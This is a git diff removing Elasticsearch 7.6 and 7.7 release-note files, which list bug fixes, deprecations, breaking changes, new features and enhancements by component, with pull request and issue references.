-* Preserve ApiKey credentials for async verification {es-pull}51244[#51244]
-* Don't fallback to anonymous for tokens/apikeys {es-pull}51042[#51042] (issue: {es-issue}50171[#50171])
-* Populate User metadata with OpenIDConnect collections {es-pull}50521[#50521] (issue: {es-issue}50250[#50250])
-* Always return 401 for not valid tokens {es-pull}49736[#49736] (issue: {es-issue}38866[#38866])
-* Fix iterate-from-1 bug in smart realm order {es-pull}49473[#49473]
-* Remove unnecessary details logged for OIDC {es-pull}48746[#48746]
-* Add owner flag parameter to the rest spec {es-pull}48500[#48500] (issue: {es-issue}48499[#48499])
-
-Authorization::
-* Fix memory leak in DLS bitset cache {es-pull}50635[#50635] (issue: {es-issue}49261[#49261])
-* Validate field permissions when creating a role {es-pull}50212[#50212] (issues: {es-issue}46275[#46275], {es-issue}48108[#48108])
-* Validate field permissions when creating a role {es-pull}48108[#48108] (issue: {es-issue}46275[#46275])
-
-CCR::
-* CCR should auto-retry rejected execution exceptions {es-pull}49213[#49213]
-
-CRUD::
-* Block too many concurrent mapping updates {es-pull}51038[#51038] (issue: {es-issue}50670[#50670])
-* Ensure meta and document field maps are never null in GetResult {es-pull}50112[#50112] (issue: {es-issue}48215[#48215])
-* Replicate write actions before fsyncing them {es-pull}49746[#49746]
-* Do not mutate request on scripted upsert {es-pull}49578[#49578] (issue: {es-issue}48670[#48670])
-* Fix Transport Stopped Exception {es-pull}48930[#48930] (issue: {es-issue}42612[#42612])
-* Return consistent source in updates {es-pull}48707[#48707]
-* Close query cache on index service creation failure {es-pull}48230[#48230] (issue: {es-issue}48186[#48186])
-
-Cluster Coordination::
-* Import replicated closed dangling indices {es-pull}50649[#50649]
-* Ignore metadata of deleted indices at start {es-pull}48918[#48918]
-* Make elasticsearch-node tools custom metadata-aware {es-pull}48390[#48390]
-
-Discovery-Plugins::
-* Make EC2 Discovery Cache Empty Seed Hosts List {es-pull}50607[#50607] (issue: {es-issue}50550[#50550])
-* Make EC2 Discovery Plugin Retry Requests {es-pull}50550[#50550] (issue: {es-issue}50462[#50462])
-
-Distributed::
-* Exclude nested documents in LuceneChangesSnapshot {es-pull}51279[#51279]
-* Closed shard should never open new engine {es-pull}47186[#47186] (issues: {es-issue}45263[#45263], {es-issue}47060[#47060])
-* Fix meta version of task index mapping {es-pull}50363[#50363] (issue: {es-issue}48393[#48393])
-
-Engine::
-* Do not wrap soft-deletes reader for segment stats {es-pull}51331[#51331] (issues: {es-issue}51192[#51192], {es-issue}51303[#51303])
-* Account soft-deletes in FrozenEngine {es-pull}51192[#51192] (issue: {es-issue}50775[#50775])
-* Account trimAboveSeqNo in committed translog generation {es-pull}50205[#50205] (issue: {es-issue}49970[#49970])
-* Greedily advance safe commit on new global checkpoint {es-pull}48559[#48559] (issue: {es-issue}48532[#48532])
-* Do not ignore exception when trim unreferenced readers {es-pull}48470[#48470]
-
-Features/Features::
-* Fix X-Pack SchedulerEngine Shutdown {es-pull}48951[#48951]
-
-Features/ILM+SLM::
-* Fix SLM check for restore in progress {es-pull}50868[#50868]
-* Handle failure to retrieve ILM policy step better {es-pull}49193[#49193] (issue: {es-issue}49128[#49128])
-* Don't halt policy execution on policy trigger exception {es-pull}49128[#49128]
-* Re-read policy phase JSON when using ILM's move-to-step API {es-pull}48827[#48827]
-* Don't schedule SLM jobs when services have been stopped {es-pull}48658[#48658] (issue: {es-issue}47749[#47749])
-* Ensure SLM stats does not block an in-place upgrade from 7.4 {es-pull}48367[#48367]
-* Ensure SLM stats does not block an in-place upgrade from 7.4 {es-pull}48361[#48361]
-* Add SLM support to xpack usage and info APIs {es-pull}48096[#48096] (issue: {es-issue}43663[#43663])
-* Change policy_id to list type in slm.get_lifecycle {es-pull}47766[#47766] (issue: {es-issue}47765[#47765])
-
-Features/Ingest::
-* Fix ignore_missing in CsvProcessor {es-pull}51600[#51600]
-* Don't overwrite target field with SetSecurityUserProcessor {es-pull}51454[#51454] (issue: {es-issue}51428[#51428])
-* Fix ingest simulate response document order if processor executes async {es-pull}50244[#50244]
-* Allow list of IPs in geoip ingest processor {es-pull}49573[#49573] (issue: {es-issue}46193[#46193])
-* Do not wrap ingest processor exception with IAE {es-pull}48816[#48816] (issue: {es-issue}48810[#48810])
-* Introduce dedicated ingest processor exception {es-pull}48810[#48810] (issue: {es-issue}48803[#48803])
-
-Features/Java High Level REST Client::
-* Support es7 node http publish_address format {es-pull}49279[#49279] (issue: {es-issue}48950[#48950])
-* Add slices to delete and update by query in HLRC {es-pull}48420[#48420]
-* fix incorrect comparison {es-pull}48208[#48208]
-* Fix HLRC parsing of CancelTasks response {es-pull}47017[#47017]
-* Prevent deadlock by using separate schedulers {es-pull}48697[#48697] (issues: {es-issue}41451[#41451], {es-issue}47599[#47599])
-
-Features/Java Low Level REST Client::
-* Improve warning value extraction performance in Response {es-pull}50208[#50208] (issue: {es-issue}24114[#24114])
-
-Features/Monitoring::
-* Validate exporter type is HTTP for HTTP exporter {es-pull}49992[#49992] (issues: {es-issue}47246[#47246], {es-issue}47711[#47711], {es-issue}49942[#49942])
-* APM system_user {es-pull}47668[#47668] (issues: {es-issue}2708[#2708], {es-issue}40876[#40876])
-
-Geo::
-* Guard against null geoBoundingBox {es-pull}50506[#50506] (issue: {es-issue}50505[#50505])
-* Geo: Switch generated GeoJson type names to camel case (#50285) {es-pull}50400[#50400] (issue: {es-issue}49568[#49568])
-* Geo: Switch generated WKT to upper case {es-pull}50285[#50285] (issue: {es-issue}49568[#49568])
-* Fix typo when assigning null_value in GeoPointFieldMapper  {es-pull}49645[#49645]
-* Fix handling of circles in legacy geo_shape queries {es-pull}49410[#49410] (issue: {es-issue}49296[#49296])
-* GEO: intersects search for geo_shape return wrong result {es-pull}49017[#49017]
-* Geo: improve handling of out of bounds points in linestrings {es-pull}47939[#47939] (issue: {es-issue}43916[#43916])
-
-Highlighting::
-* Fix invalid break iterator highlighting on keyword field {es-pull}49566[#49566]
-
-Infra/Core::
-* Ignore virtual ethernet devices that disappear {es-pull}51581[#51581] (issue: {es-issue}49914[#49914])
-* Guess root cause support unwrap {es-pull}50525[#50525] (issue: {es-issue}50417[#50417])
-* Allow parsing timezone without fully provided time {es-pull}50178[#50178] (issue: {es-issue}49351[#49351])
-* [Java.time] Retain prefixed date pattern in formatter {es-pull}48703[#48703] (issue: {es-issue}48698[#48698])
-* Don't drop user's MaxDirectMemorySize flag on jdk8/windows {es-pull}48657[#48657] (issues: {es-issue}44174[#44174], {es-issue}48365[#48365])
-* Warn when MaxDirectMemorySize may be incorrect (Windows/JDK8 only issue) {es-pull}48365[#48365] (issue: {es-issue}47384[#47384])
-* [Java.time] Calculate week of a year with ISO rules {es-pull}48209[#48209] (issues: {es-issue}41670[#41670], {es-issue}42588[#42588], {es-issue}43275[#43275], {es-issue}43652[#43652])
-
-Infra/Logging::
-* Slow log must use separate underlying logger for each index {es-pull}47234[#47234] (issue: {es-issue}42432[#42432])
-
-Infra/Packaging::
-* Extend systemd timeout during startup {es-pull}49784[#49784] (issue: {es-issue}49593[#49593])
-
-Infra/REST API::
-* Return 400 when handling invalid JSON {es-pull}49552[#49552] (issue: {es-issue}49428[#49428])
-* Slash missed in indices.put_mapping url {es-pull}49468[#49468]
-
-Machine Learning::
-* Fix 2 digit year regex in find_file_structure {es-pull}51469[#51469]
-* Validate classification `dependent_variable` cardinality is at least two {es-pull}51232[#51232]
-* Do not copy mapping from dependent variable to prediction field in regression analysis {es-pull}51227[#51227]
-* Handle nested and aliased fields correctly when copying mapping {es-pull}50918[#50918] (issue: {es-issue}50787[#50787])
-* Fix off-by-one error in `ml_classic` tokenizer end offset {es-pull}50655[#50655]
-* Improve uniqueness of result document IDs {es-pull}50644[#50644] (issue: {es-issue}50613[#50613])
-* Fix accuracy metric in multi-class confusion matrix {es-pull}50310[#50310] (issue: {es-issue}48759[#48759])
-* Fix race condition when stopping a data frame analytics jobs immediately after starting it {es-pull}50276[#50276] (issues: {es-issue}49680[#49680], {es-issue}50177[#50177])
-* Apply source query on data frame analytics memory estimation {es-pull}49517[#49517] (issue: {es-issue}49454[#49454])
-* Fix r_squared eval when variance is 0 {es-pull}49439[#49439]
-* Blacklist a number of prediction field names {es-pull}49371[#49371] (issue: {es-issue}48808[#48808])
-* Make data frame analytics more robust for very short-lived analyses {es-pull}49282[#49282] (issue: {es-issue}49095[#49095])
-* Fixes potential memory corruption when determining seasonality {ml-pull}852[#852]
-* Prevent `prediction_field_name` clashing with other fields in {ml} results {ml-pull}861[#861]
-* Include out-of-order as well as in-order terms in categorization reverse searches {ml-pull}950[#950] (issue: {ml-issue}949[#949])
-
-Mapping::
-* Ensure that field collapsing works with field aliases. {es-pull}50722[#50722] (issues: {es-issue}32648[#32648], {es-issue}50121[#50121])
-* Improve DateFieldMapper `ignore_malformed` handling {es-pull}50090[#50090] (issues: {es-issue}46675[#46675], {es-issue}50081[#50081])
-* Annotated text type should extend TextFieldType {es-pull}49555[#49555] (issue: {es-issue}49289[#49289])
-* Ensure parameters are updated when merging flattened mappings. {es-pull}48971[#48971] (issue: {es-issue}48907[#48907])
-
-Network::
-* Fix TransportMasterNodeAction not Retrying NodeClosedException {es-pull}51325[#51325]
-
-Percolator::
-* Correctly handle MSM for nested disjunctions {es-pull}50669[#50669] (issue: {es-issue}50305[#50305])
-* Fix query analyzer logic for mixed conjunctions of terms and ranges {es-pull}49803[#49803] (issue: {es-issue}49684[#49684])
-
-Recovery::
-* Check allocation id when failing shard on recovery {es-pull}50656[#50656] (issue: {es-issue}50508[#50508])
-* Migrate peer recovery from translog to retention lease {es-pull}49448[#49448] (issue: {es-issue}45136[#45136])
-* Ignore Lucene index in peer recovery if translog corrupted {es-pull}49114[#49114]
-
-Reindex::
-* Reindex and friends fail on RED shards {es-pull}45830[#45830] (issues: {es-issue}42612[#42612], {es-issue}45739[#45739])
-
-SQL::
-* SQL: Fix milliseconds handling in intervals {es-pull}51675[#51675] (issue: {es-issue}41635[#41635])
-* SQL: Fix ORDER BY YEAR() function {es-pull}51562[#51562] (issue: {es-issue}51224[#51224])
-* SQL: change the way unsupported data types fields are handled {es-pull}50823[#50823]
-* SQL: Optimisation fixes for conjunction merges {es-pull}50703[#50703] (issue: {es-issue}49637[#49637])
-* SQL: Fix issue with CAST and NULL checking. {es-pull}50371[#50371] (issue: {es-issue}50191[#50191])
-* SQL: fix NPE for JdbcResultSet.getDate(param, Calendar) calls {es-pull}50184[#50184] (issue: {es-issue}50174[#50174])
-* SQL: COUNT DISTINCT returns 0 instead of NULL for no matching docs {es-pull}50037[#50037] (issue: {es-issue}50013[#50013])
-* Fix LOCATE function optional parameter handling  {es-pull}49666[#49666] (issue: {es-issue}49557[#49557])
-* Fix NULL handling for FLOOR and CEIL functions {es-pull}49644[#49644] (issue: {es-issue}49556[#49556])
-* Handle NULL arithmetic operations with INTERVALs {es-pull}49633[#49633] (issue: {es-issue}49297[#49297])
-* Fix issue with GROUP BY YEAR() {es-pull}49559[#49559] (issue: {es-issue}49386[#49386])
-* Fix issue with CASE/IIF pre-calculating results {es-pull}49553[#49553] (issue: {es-issue}49388[#49388])
-* Fix issue with folding of CASE/IIF {es-pull}49449[#49449] (issue: {es-issue}49387[#49387])
-* Fix issues with WEEK/ISO_WEEK/DATEDIFF {es-pull}49405[#49405] (issues: {es-issue}48209[#48209], {es-issue}49376[#49376])
-* SQL: Fix issue with mins & hours for DATEDIFF {es-pull}49252[#49252]
-* SQL: Failing Group By queries due to different ExpressionIds {es-pull}43072[#43072] (issues: {es-issue}33361[#33361], {es-issue}34543[#34543], {es-issue}36074[#36074], {es-issue}37044[#37044], {es-issue}40001[#40001], {es-issue}40240[#40240], {es-issue}41159[#41159], {es-issue}42041[#42041], {es-issue}46316[#46316])
-
-Search::
-* Fix upgrade of custom similarity {es-pull}50851[#50851] (issue: {es-issue}50763[#50763])
-* Fix NPE bug inner_hits {es-pull}50709[#50709] (issue: {es-issue}50539[#50539])
-* Collect results in a local list when notifying partial results {es-pull}49828[#49828] (issue: {es-issue}49778[#49778])
-* Fixes a bug in interval filter serialization {es-pull}49793[#49793] (issue: {es-issue}49519[#49519])
-* Correctly handle duplicates in unordered interval matching {es-pull}49775[#49775]
-* Correct rewritting of script_score query {es-pull}48425[#48425] (issue: {es-issue}48081[#48081])
-* Do not throw errors on unknown types in SearchAfterBuilder {es-pull}48147[#48147] (issue: {es-issue}48074[#48074])
-
-Security::
-* Always consume the body in has privileges {es-pull}50298[#50298] (issue: {es-issue}50288[#50288])
-
-Snapshot/Restore::
-* Fix Overly Aggressive Request DeDuplication {es-pull}51270[#51270] (issue: {es-issue}51253[#51253])
-* Guard Repository#getRepositoryData for exception throw  {es-pull}50970[#50970]
-* Fix Index Deletion During Partial Snapshot Create {es-pull}50234[#50234] (issues: {es-issue}50200[#50200], {es-issue}50202[#50202])
-* Fix Index Deletion during Snapshot Finalization {es-pull}50202[#50202] (issues: {es-issue}45689[#45689], {es-issue}50200[#50200])
-* Fix RepoCleanup not Removed on Master-Failover {es-pull}49217[#49217]
-* Make FsBlobContainer Listing Resilient to Concurrent Modifications {es-pull}49142[#49142] (issue: {es-issue}37581[#37581])
-* Fix SnapshotShardStatus Reporting for Failed Shard {es-pull}48556[#48556] (issue: {es-issue}48526[#48526])
-* Cleanup Concurrent RepositoryData Loading {es-pull}48329[#48329] (issue: {es-issue}48122[#48122])
-
-Transform::
-* Fix mapping deduction for scaled_float {es-pull}51990[#51990] (issue: {es-issue}51780[#51780])
-* Fix stats can return old state information if security is enabled {es-pull}51732[#51732] (issue: {es-issue}51728[#51728])
-* Fail to start/put on missing pipeline {es-pull}50701[#50701] (issue: {es-issue}50135[#50135])
-* Fix possible audit logging disappearance after rolling upgrade {es-pull}49731[#49731] (issue: {es-issue}49730[#49730])
-* Do not fail checkpoint creation due to global checkpoint mismatch {es-pull}48423[#48423] (issue: {es-issue}48379[#48379])
-
-
-
-[[upgrade-7.6.0]]
-[discrete]
-=== Upgrades
-
-Engine::
-* Upgrade to Lucene 8.4.0. {es-pull}50518[#50518]
-
-Infra/Packaging::
-* Upgrade the bundled JDK to JDK 13.0.2 {es-pull}51511[#51511]
diff --git a/docs/reference/release-notes/7.7.asciidoc b/docs/reference/release-notes/7.7.asciidoc
deleted file mode 100644
index de7ec59aa46..00000000000
--- a/docs/reference/release-notes/7.7.asciidoc
+++ /dev/null
@@ -1,802 +0,0 @@
-[[release-notes-7.7.1]]
-== {es} version 7.7.1
-
-Also see <<breaking-changes-7.7,Breaking changes in 7.7>>.
-
-[[known-issues-7.7.1]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[enhancement-7.7.1]]
-[discrete]
-=== Enhancements
-
-Authorization::
-* Remove synthetic role names of API keys as they confuse users {es-pull}56005[#56005]
-
-Features/ILM+SLM::
-* ILM: Add cluster update timeout on step retry {es-pull}54878[#54878]
-
-SQL::
-* Change error message for comparison against fields in filtering {es-pull}57126[#57126] (issue: {es-issue}57005[#57005])
-
-[[bug-7.7.1]]
-[discrete]
-=== Bug fixes
-
-Authentication::
-* Expose idp.metadata.http.refresh for SAML realm {es-pull}56354[#56354]
-* Fix concurrent refresh of tokens {es-pull}55114[#55114] (issue: {es-issue}54289[#54289])
-
-CCR::
-* Retry follow task when remote connection queue full {es-pull}55314[#55314]
-
-Cluster Coordination::
-* Fix the problem of recovering twice when perform a full cluster restart(#55564) {es-pull}55780[#55780] (issue: {es-issue}55564[#55564])
-
-Discovery-Plugins::
-* Hide c.a.a.p.i.BasicProfileConfigFileLoader noise {es-pull}56346[#56346] (issues: {es-issue}20313[#20313], {es-issue}56333[#56333])
-
-Engine::
-* Ensure no circular reference in translog tragic exception {es-pull}55959[#55959] (issue: {es-issue}55893[#55893])
-* Update translog policy before the next safe commit {es-pull}54839[#54839] (issue: {es-issue}52223[#52223])
-
-Features/CAT APIs::
-* Handle exceptions when building _cat/indices response {es-pull}56993[#56993] (issue: {es-issue}56816[#56816])
-
-Features/Features::
-* 7.x only REST specification fixes {es-pull}56736[#56736] (issue: {es-issue}55984[#55984])
-
-Features/ILM+SLM::
-* Fix Missing IgnoredUnavailable Flag in 7.x SLM Retention Task {es-pull}56616[#56616]
-
-Features/Indices APIs::
-* Allow removing replicas setting on closed indices {es-pull}56680[#56680] (issues: {es-issue}56656[#56656], {es-issue}56675[#56675])
-* Allow removing index.number_of_replicas setting {es-pull}56656[#56656] (issue: {es-issue}56501[#56501])
-
-Features/Ingest::
-* Fix enrich coordinator to reject documents instead of deadlocking {es-pull}56247[#56247] (issue: {es-issue}55634[#55634])
-* EnrichProcessorFactory should not throw NPE if missing metadata {es-pull}55977[#55977]
-* Prevent stack overflow for numerous grok patterns. {es-pull}55899[#55899]
-* Fix empty_value handling in CsvProcessor {es-pull}55649[#55649] (issue: {es-issue}55643[#55643])
-
-Features/Java High Level REST Client::
-* Honor IndicesOptions in HLRC putMapping request {es-pull}57118[#57118] (issue: {es-issue}57045[#57045])
-
-Features/Monitoring::
-* Fix incorrect log warning when exporting monitoring via HTTP without authentication {es-pull}56958[#56958] (issue: {es-issue}56810[#56810])
-* Ensure that the monitoring export exceptions are logged. {es-pull}56237[#56237]
-
-Features/Watcher::
-* Ensure that .watcher-history-11* template is in installed prior to use {es-pull}56734[#56734] (issue: {es-issue}56732[#56732])
-* Fix smtp.ssl.trust setting for watcher email {es-pull}56090[#56090] (issues: {es-issue}45272[#45272], {es-issue}52153[#52153])
-
-Infra/Core::
-* Prevent unexpected native controller output hanging the process {es-pull}56491[#56491] (issue: {es-issue}56366[#56366])
-* Add method to check if object is generically writeable in stream {es-pull}54936[#54936] (issue: {es-issue}54708[#54708])
-
-Infra/Logging::
-* SlowLoggers using single logger {es-pull}56708[#56708] (issue: {es-issue}56171[#56171])
-
-Machine Learning::
-* Fix background persistence of categorizer state. {ml-pull}1137[#1137] (issue: {ml-issue}1136[#1136])
-* Fix classification job failures when number of classes in configuration differs from the number of classes present in the training data. {ml-pull}1144[#1144]
-* Fix underlying cause for "Failed to calculate splitting significance" log errors. {ml-pull}1157[#1157]
-* Fix possible root cause for "Bad variance scale nan" log errors. {ml-pull}1225[#1225]
-* Change data frame analytics instrumentation timestamp resolution to milliseconds. {ml-pull}1237[#1237]
-* Fix "autodetect process stopped unexpectedly: Fatal error: 'terminate called after throwing an instance of 'std::bad_function_call'". {ml-pull}1246[#1246] (issue: {ml-issue}1245[#1245])
-* Fix monitoring if orphaned anomaly detector persistent tasks exist {es-pull}57235[#57235] (issue: {es-issue}51888[#51888])
-* Fix delete_expired_data/nightly maintenance when many model snapshots need deleting {es-pull}57041[#57041] (issue: {es-issue}47103[#47103])
-* Ensure class is represented when its cardinality is low {es-pull}56783[#56783]
-* Use non-zero timeout when force stopping DF analytics {es-pull}56423[#56423]
-* Reduce InferenceProcessor.Factory log spam by not parsing pipelines {es-pull}56020[#56020] (issue: {es-issue}55985[#55985])
-* Audit when unassigned datafeeds are stopped {es-pull}55656[#55656] (issue: {es-issue}55521[#55521])
-
-Network::
-* Fix use of password protected PKCS#8 keys for SSL {es-pull}55457[#55457] (issue: {es-issue}8[#8])
-* Add support for more named curves {es-pull}55179[#55179] (issue: {es-issue}55031[#55031])
-
-Recovery::
-* Fix trimUnsafeCommits for indices created before 6.2 {es-pull}57187[#57187] (issue: {es-issue}57091[#57091])
-
-SQL::
-* Fix unecessary evaluation for CASE/IIF {es-pull}57159[#57159] (issue: {es-issue}49672[#49672])
-* JDBC: fix access to the Manifest for non-entry JAR URLs {es-pull}56797[#56797] (issue: {es-issue}56759[#56759])
-* Fix JDBC url pattern in docs and error message {es-pull}56612[#56612] (issue: {es-issue}56476[#56476])
-* Fix serialization of JDBC prep statement date/time params {es-pull}56492[#56492] (issue: {es-issue}56084[#56084])
-* Fix issue with date range queries and timezone {es-pull}56115[#56115] (issue: {es-issue}56049[#56049])
-* SubSelect unresolved bugfix {es-pull}55956[#55956]
-
-Search::
-* Don't run sort optimization on size=0 {es-pull}57044[#57044] (issue: {es-issue}56923[#56923])
-* Fix `bool` query behaviour on null value {es-pull}56817[#56817] (issue: {es-issue}56812[#56812])
-* Fix validate query listener invocation bug {es-pull}56157[#56157]
-* Async Search: correct shards counting {es-pull}55758[#55758]
-* For constant_keyword, make sure exists query handles missing values. {es-pull}55757[#55757] (issue: {es-issue}53545[#53545])
-* Fix (de)serialization of async search failures {es-pull}55688[#55688]
-* Fix expiration time in async search response {es-pull}55435[#55435]
-* Return true for can_match on idle search shards {es-pull}55428[#55428] (issues: {es-issue}27500[#27500], {es-issue}50043[#50043])
-
-Snapshot/Restore::
-* Fix NPE in Partial Snapshot Without Global State {es-pull}55776[#55776] (issue: {es-issue}50234[#50234])
-* Fix Path Style Access Setting Priority {es-pull}55439[#55439] (issue: {es-issue}55407[#55407])
-
-[[upgrade-7.7.1]]
-[discrete]
-=== Upgrades
-
-Infra/Core::
-* Upgrade to Jackson 2.10.4 {es-pull}56188[#56188] (issue: {es-issue}56071[#56071])
-
-Infra/Packaging::
-* Upgrade bundled jdk to 14.0.1 {es-pull}57233[#57233]
-
-SQL::
-* Update the JLine dependency to 3.14.1 {es-pull}57111[#57111] (issue: {es-issue}57076[#57076])
-
-[[release-notes-7.7.0]]
-== {es} version 7.7.0
-
-Also see <<breaking-changes-7.7,Breaking changes in 7.7>>.
-
-[[known-issues-7.7.0]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[breaking-7.7.0]]
-[discrete]
-=== Breaking changes
-
-Highlighting::
-* Highlighters skip ignored keyword values {es-pull}53408[#53408] (issue: {es-issue}43800[#43800])
-
-Infra/Core::
-* Remove DEBUG-level default logging from actions {es-pull}51459[#51459] (issue: {es-issue}51198[#51198])
-
-Mapping::
-* Dynamic mappings in indices created on 8.0 and later have stricter validation at mapping update time and
-  results in a deprecation warning for indices created in Elasticsearch 7.7.0 and later.
-  (e.g. incorrect analyzer settings or unknown field types). {es-pull}51233[#51233] (issues: {es-issue}17411[#17411], {es-issue}24419[#24419])
-
-Search::
-* Make range query rounding consistent {es-pull}50237[#50237] (issue: {es-issue}50009[#50009])
-* Pipeline aggregation validation errors that used to return HTTP
-  500s/Internal Server Errors now return 400/Bad Request {es-pull}53669[#53669].
-  As a bonus we now return a list of validation errors rather than returning
-  the first one we encounter.
-
-
-
-[[breaking-java-7.7.0]]
-[discrete]
-=== Breaking Java changes
-
-Infra/Core::
-* Fix ActionListener.map exception handling {es-pull}50886[#50886]
-
-Machine Learning::
-* Add expected input field type to trained model config {es-pull}53083[#53083]
-
-Transform::
-* Enhance the output of preview to return full destination index details {es-pull}53572[#53572]
-
-
-
-[[deprecation-7.7.0]]
-[discrete]
-=== Deprecations
-
-Allocation::
-* Deprecated support for delaying state recovery pending master nodes {es-pull}53646[#53646] (issue: {es-issue}51806[#51806])
-
-Authentication::
-* Add warnings for invalid realm order config (#51195) {es-pull}51515[#51515]
-* Deprecate timeout.tcp_read AD/LDAP realm setting {es-pull}47305[#47305] (issue: {es-issue}46028[#46028])
-
-Engine::
-* Deprecate translog retention settings {es-pull}51588[#51588] (issues: {es-issue}45473[#45473], {es-issue}50775[#50775])
-
-Features/Features::
-* Add cluster.remote.connect to deprecation info API {es-pull}54142[#54142] (issue: {es-issue}53924[#53924])
-
-Infra/Core::
-* Add deprecation check for listener thread pool {es-pull}53438[#53438] (issues: {es-issue}53049[#53049], {es-issue}53317[#53317])
-* Deprecate the logstash enabled setting {es-pull}53367[#53367]
-* Deprecate the listener thread pool {es-pull}53266[#53266] (issue: {es-issue}53049[#53049])
-* Deprecate creation of dot-prefixed index names except for hidden and system indices {es-pull}49959[#49959]
-
-Infra/REST API::
-* Deprecate undocumented alternatives to the nodes hot threads API (#52640) {es-pull}52930[#52930] (issue: {es-issue}52640[#52640])
-
-Machine Learning::
-* Renaming inference processor field field_mappings to new name field_map {es-pull}53433[#53433]
-
-Search::
-* Emit deprecation warning when TermsLookup contains a type {es-pull}53731[#53731] (issue: {es-issue}41059[#41059])
-* Deprecate BoolQueryBuilder's mustNot field {es-pull}53125[#53125]
-
-
-
-[[feature-7.7.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* Preserve metric types in top_metrics {es-pull}53288[#53288]
-* Support multiple metrics in `top_metrics` agg {es-pull}52965[#52965] (issue: {es-issue}51813[#51813])
-* Add size support to `top_metrics` {es-pull}52662[#52662] (issue: {es-issue}51813[#51813])
-* HLRC support for string_stats {es-pull}52163[#52163]
-* Add Boxplot Aggregation {es-pull}51948[#51948] (issue: {es-issue}33112[#33112])
-
-Analysis::
-* Add nori_number token filter in analysis-nori {es-pull}53583[#53583]
-
-Authentication::
-* Create API Key on behalf of other user {es-pull}52886[#52886] (issue: {es-issue}48716[#48716])
-
-Geo::
-* Add support for distance queries on shape queries {es-pull}53468[#53468]
-* Add support for distance queries on geo_shape queries {es-pull}53466[#53466] (issues: {es-issue}13351[#13351], {es-issue}39237[#39237])
-* Add support for multipoint shape queries {es-pull}52564[#52564] (issue: {es-issue}52133[#52133])
-* Add support for multipoint geoshape queries {es-pull}52133[#52133] (issue: {es-issue}37318[#37318])
-
-Infra/Core::
-* Implement hidden indices {es-pull}50452[#50452] (issues: {es-issue}50251[#50251], {es-issue}50665[#50665], {es-issue}50762[#50762])
-
-Infra/Packaging::
-* Introduce aarch64 packaging {es-pull}53914[#53914]
-
-Machine Learning::
-* Implement ILM policy for .ml-state* indices {es-pull}52356[#52356] (issue: {es-issue}29938[#29938])
-* Add instrumentation to report statistics related to {dfanalytics-jobs} such as
-progress, memory usage, etc. {ml-pull}906[#906]
-* Multiclass classification {ml-pull}1037[#1037]
-
-Mapping::
-* Introduce a `constant_keyword` field. {es-pull}49713[#49713]
-
-SQL::
-* Add `constant_keyword` support {es-pull}53241[#53241] (issue: {es-issue}53016[#53016])
-* Add optimisations for not-equalities {es-pull}51088[#51088] (issue: {es-issue}49637[#49637])
-* Add support for passing query parameters in REST API calls {es-pull}51029[#51029] (issue: {es-issue}42916[#42916])
-
-Search::
-* Add a cluster setting to disallow expensive queries {es-pull}51385[#51385] (issue: {es-issue}29050[#29050])
-* Add new x-pack endpoints to track the progress of a search asynchronously {es-pull}49931[#49931] (issue: {es-issue}49091[#49091])
-
-
-
-[[enhancement-7.7.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Fixed rewrite of time zone without DST {es-pull}54398[#54398]
-* Try to save memory on aggregations {es-pull}53793[#53793]
-* Speed up partial reduce of terms aggregations {es-pull}53216[#53216] (issue: {es-issue}51857[#51857])
-* Simplify SiblingPipelineAggregator {es-pull}53144[#53144]
-* Add histogram field type support to boxplot aggs {es-pull}52265[#52265] (issues: {es-issue}33112[#33112], {es-issue}52233[#52233])
-* Percentiles aggregation validation checks for range {es-pull}51871[#51871] (issue: {es-issue}51808[#51808])
-* Begin moving date_histogram to offset rounding (take two) {es-pull}51271[#51271] (issues: {es-issue}50609[#50609], {es-issue}50873[#50873])
-* Password-protected Keystore Feature Branch PR {es-pull}51123[#51123] (issues: {es-issue}32691[#32691], {es-issue}49340[#49340])
-* Implement top_metrics agg {es-pull}51155[#51155] (issue: {es-issue}48069[#48069])
-* Bucket aggregation circuit breaker optimization. {es-pull}46751[#46751]
-
-Analysis::
-* Removes old Lucene's experimental flag from analyzer documentations {es-pull}53217[#53217]
-
-Authentication::
-* Add exception metadata for disabled features {es-pull}52811[#52811] (issues: {es-issue}47759[#47759], {es-issue}52311[#52311], {es-issue}55255[#55255])
-* Validate role templates before saving role mapping {es-pull}52636[#52636] (issue: {es-issue}48773[#48773])
-* Add support for secondary authentication {es-pull}52093[#52093]
-* Expose API key name to the ingest pipeline {es-pull}51305[#51305] (issues: {es-issue}46847[#46847], {es-issue}49106[#49106])
-* Disallow Password Change when authenticated by Token {es-pull}49694[#49694] (issue: {es-issue}48752[#48752])
-
-Authorization::
-* Allow kibana_system to create and invalidate API keys on behalf of other users {es-pull}53824[#53824] (issue: {es-issue}48716[#48716])
-* Add "grant_api_key" cluster privilege {es-pull}53527[#53527] (issues: {es-issue}48716[#48716], {es-issue}52886[#52886])
-* Giving kibana user privileges to create custom link index {es-pull}53221[#53221] (issue: {es-issue}59305[#59305])
-* Allow kibana to collect APM telemetry in background task {es-pull}52917[#52917] (issue: {es-issue}50757[#50757])
-* Add the new 'maintenance' privilege containing 4 actions (#29998) {es-pull}50643[#50643]
-
-Cluster Coordination::
-* Describe STALE_STATE_CONFIG in ClusterFormationFH {es-pull}53878[#53878] (issue: {es-issue}53734[#53734])
-
-Distributed::
-* Introduce formal role for remote cluster client {es-pull}53924[#53924]
-* Shortcut query phase using the results of other shards {es-pull}51852[#51852] (issues: {es-issue}49601[#49601], {es-issue}51708[#51708])
-* Flush instead of synced-flush inactive shards {es-pull}49126[#49126] (issues: {es-issue}31965[#31965], {es-issue}48430[#48430])
-
-Engine::
-* Restore off-heap loading for term dictionary in ReadOnlyEngine {es-pull}53713[#53713] (issues: {es-issue}43158[#43158], {es-issue}51247[#51247])
-* Separate translog from index deletion conditions {es-pull}52556[#52556]
